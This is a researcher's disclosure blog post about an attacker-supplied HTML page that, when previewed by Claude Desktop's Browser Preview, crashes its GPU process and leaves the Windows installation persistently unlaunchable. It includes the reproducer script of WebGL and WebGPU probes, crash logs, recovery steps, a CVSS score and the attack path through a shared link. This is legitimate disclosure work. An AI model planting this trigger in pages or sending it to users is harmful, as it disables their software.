Attacker-Controlled HTML in Browser Preview Persistently Bricks Claude Desktop

Isopach · September 2, 2026

Research Windows DoS

Claude crashed while I was using it to look up documentation.

Then Claude became completely unlaunchable. Safe mode, the Start-menu shortcut, repair, and reinstall, clean reboot - everything failed. Windows just showed “This app cannot be opened.”

Windows showing the Claude "This app can't open" dialog

The repeatable part was Claude Desktop’s Browser Preview rendering graphics content. I eventually reduced it to one HTML file and one completely believable user request:

Can you preview this page and check whether the widget loads correctly?

Claude autonomously opened the page in Browser Preview. Three seconds later, its Electron GPU child crashed and the entire desktop client disappeared. The latest reproduction then left the Claude MSIX package in Modified, NeedsRemediation, with zero staging activity recorded for an update.

This is a classic soft brick: a recovery path existed, yet it required knowledge far beyond anything exposed by the Windows dialog or Claude installer. Every standard recovery path failed. I had to stop Claude’s service, move the profile folders, remove the broken package registration, install a different desktop build, restore the profile, and launch with the graphics stack disabled. A normal user would be stuck with a bricked Claude installation.

Anthropic classified the report under its denial-of-service exclusion and treated it as a reliability issue.

Affected environment

Windows:        Windows 10 Pro 22H2 x64, build 19045.6466
GPU:            NVIDIA GeForce RTX 2070 SUPER
Driver:         566.36 / 32.0.15.6636
Claude Desktop: 1.25927.0
Electron:       42.7.0
Package:        Claude_1.25927.0.0_x64__pzs8sxrjxfjjc

The full crash-and-persistent-package-failure chain reproduced on this configuration. Graphics-process behavior depends heavily on the Electron, Chromium, Dawn, driver, and Windows combination.

Bug Discovery

The repeated GPU exit signature identified Browser Preview as the common factor.

The useful evidence was in Claude’s Electron logs. The same sequence kept appearing around the crashes:

WebGL getInternalformatParameter warnings involving float formats
two WebGPU requestAdapter() warnings
CONTEXT_LOST_WEBGL
invalid external Dawn Instance references
the GPU child exiting with the same crash code

Browser Preview was the point at which remotely sourced page content reached that graphics stack. Cloudflare managed-challenge/Turnstile pages appeared in the earlier incidents, so I made a small local page using Cloudflare’s documented test widget and a bounded set of WebGL/WebGPU capability probes.

Cloudflare supplied ordinary page content and documented test infrastructure. The failure occurred in Claude Desktop’s handling of the resulting GPU-process crash.

The Exploit

The final reproducer was a single index.html file. This is the relevant part:

<script>
function probeWebGL(index) {
  const canvas = document.createElement('canvas');
  canvas.width = canvas.height = 64;

  const gl = canvas.getContext('webgl2', {
    powerPreference: index === 0 ? 'high-performance' : 'low-power'
  });

  const formats = [
    gl.R16F, gl.RG16F, gl.RGB16F, gl.RGBA16F,
    gl.R32F, gl.RG32F, gl.RGB32F, gl.RGBA32F,
    gl.R11F_G11F_B10F, gl.RGB9_E5
  ];

  for (const format of formats) {
    gl.getInternalformatParameter(gl.RENDERBUFFER, format, gl.SAMPLES);
  }
}

async function probeWebGPU(preference) {
  const adapter = await navigator.gpu.requestAdapter({
    powerPreference: preference
  });
  if (adapter) await adapter.requestDevice();
}

window.addEventListener('load', () => {
  probeWebGL(0);
  probeWebGL(1);
  void probeWebGPU('high-performance');
  void probeWebGPU('low-power');
});
</script>

The interaction was also ordinary. I attached the file and asked Claude to check whether the widget loaded. Claude responded:

I'll start the preview and look at the page.

It then autonomously called Browser Preview with the attachment’s file:// URL. When the preview opened, Claude’s renderer produced the WebGL/WebGPU warnings and its main process recorded:

GPU process gone: {
  type: 'GPU',
  reason: 'crashed',
  exitCode: 101457950,
  serviceName: 'GPU'
}

The child failure propagated through the entire Claude Desktop client and terminated it. Crashpad also wrote a 35.8 MB dump.

Persistence

The process crash was annoying, but the package state afterwards was much worse.

Immediately after the latest reproduction, PowerShell reported Claude as:

Modified, NeedsRemediation

Start-menu activation failed with 0x80073CFC. Two AppX repair/registration attempts failed with 0x80073D02 because Windows considered Claude active. CoworkVMService was still involved in the package lifecycle even though the UI had disappeared.

The same activation failure survived a full Windows restart. Uninstalling and reinstalling Claude through the normal Windows and installer paths also left it unlaunchable. Through every user-facing recovery path, Claude was completely bricked.

Stopping the service allowed manifest registration to return success, but Claude remained unlaunchable and the package remained in NeedsRemediation. winget repair and a forced overlay reinstall also returned success while leaving the application unable to be launched.

Initially, I suspected a staged MSIX update was necessary to reach this persistent state. The clean reproduction did not have any staging activity, thus establishing that the persistent state occurs only on the currently installed package itself.

The available logs establish the complete timeline: successful preview -> GPU crash -> immediate launch failure -> repeated AppX remediation failures -> eventual package removal. The precise mechanism connecting the GPU failure to the damaged registration state remains unresolved.

The Patch

The working recovery was:

Terminate the remaining Claude processes and stop CoworkVMService.
Move the existing profile out of %LOCALAPPDATA%\Packages\Claude_pzs8sxrjxfjjc\LocalCache\Roaming\Claude to a backup directory on the same volume.
Remove the broken Claude MSIX registration/package.
Install Anthropic’s per-user desktop build.
Move the fresh profile created by that installation aside.
Move the preserved profile into %APPDATA%\Claude.
Launch Claude with the graphics APIs disabled:

--disable-gpu --disable-gpu-compositing --disable-3d-apis --disable-webgl --disable-webgl2 --disable-webgpu

This will preserve the live profile, and all the original sessions were present after recovery.

This restored the ordinary desktop client. Restoring the modern MSIX/Cowork installation required a separate administrator/UAC installation step, which I left for later.

Exploitability

The practical attack path I reported was:

An attacker supplies a page through a link.
The user asks Claude to preview or inspect it.
Claude autonomously renders the content in Browser Preview.
The page exercises the vulnerable graphics path.
The GPU child crashes and Claude fails to recover.

Personally, I think the delivery model is very much like XSS: attacker-controlled web content reaches a trusted browser surface in another user’s client. Here the resulting primitive is denial of service.

I first confirmed the reproduction with an attached file opened through file://. I then hosted the same page over HTTPS and confirmed that Browser Preview also crashes through the direct network path. The attacker can therefore deliver the trigger as an ordinary link; the victim’s request causes Claude itself to retrieve and render the faulting response.

The demonstrated capability is complete, persistent same-user availability loss. The exploit also caused limited integrity loss by changing Claude’s persistent package/registration state to Modified, NeedsRemediation. The attacker cannot control the exact modification, which makes this VI:L instead of VI:H.

CVSS v4.0: 7.0 High

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

AV:N — the attacker can host the page online, and Claude’s Browser Preview receives and renders the faulting content over HTTPS.
AC:L — exploitation requires an ordinary preview operation with no security mitigation bypass.
AT:N — the exploit was deterministic on the affected configuration and required no race condition or on-path position. CVSS assumes the vulnerable configuration when scoring Base metrics.
PR:N — the attacker only needs to host the page and send its link.
UI:A — the victim must consciously ask Claude to preview or inspect the page, after which Claude performs the navigation autonomously.
VC:N — the exploit disclosed no restricted information.
VI:L — the exploit made an unauthorized, persistent modification to Claude’s package/registration state. The attacker cannot choose the resulting state or write arbitrary data, so the integrity impact is limited.
VA:H — Claude terminates and remains completely unavailable after the page is gone. Restarting Windows and using the normal uninstall, reinstall, and repair paths all failed.
SC:N/SI:N/SA:N — the demonstrated impact remained inside the vulnerable Claude installation and produced no subsequent-system impact.

The closest behavioral classification is CWE-390, Detection of Error Condition Without Action, under the broader improper-exception-handling family. Claude Desktop allowed a GPU child failure to terminate the client and leave this installation persistently unavailable.

Rejection

I submitted the issue through Anthropic’s HackerOne program as a client-side denial of service. An attacker-controlled HTTPS page and one normal preview request were enough to kill the client, and the result persisted after the page was gone.

Anthropic closed the report as Informative under the program’s denial-of-service exclusion. They assessed the standard graphics API calls and environment-specific result as an application stability defect. Their security assessment limited the demonstrated capability to availability.

Anthropic closing the HackerOne report as Informative

Although the program policy stated “Denial of service”, I had assumed that it’s limited only to traffic flooding DoS and thought that client-side DoS might be in-scope. Nevertheless it got rejected so here’s the blog post. The compact, remotely deliverable trigger still makes this a severe product bug for an affected user.

Anyway, Anthropic relayed my report to the Desktop engineering team and I’d assume that it has been fixed by now.

Afterthoughts

This was still one of the more ridiculous client crashes I have debugged, and at the start I thought I would have to nuke the whole directory and my sessions together with it. A normal “please preview this page” request killed Claude, and there was no obvious way to recover it.

By following my debugging instincts and examining the repeated GPU exit signature in the stacktrace, I managed to correlate the Browser Preview timestamps, renderer warnings, main-process exit, Crashpad dump, and AppX events, the failure chain to diagnose the problem.

Despite our disagreements, I would like to thank Anthropic in their prompt response to the report and request for disclosure. Unfortunately DoS is out of scope this time so I won’t be getting paid, but I recommend their BBP to everyone.

I have been obsessed with crashing every program on my system since I started researching Windows, and I hope this research helps someone.

Timeline

2026-08-06 18:45 UTC — Reported the client-side DoS to Anthropic through HackerOne
2026-08-06 20:41 UTC — Anthropic closed the report as Informative
2026-08-17 02:06 UTC — Requested permission for public disclosure
2026-08-17 02:17 UTC — Anthropic permitted public disclosure and requested the draft for review 2026-09-02 16:39 UTC — Blog post published

Links

Share: Twitter, Facebook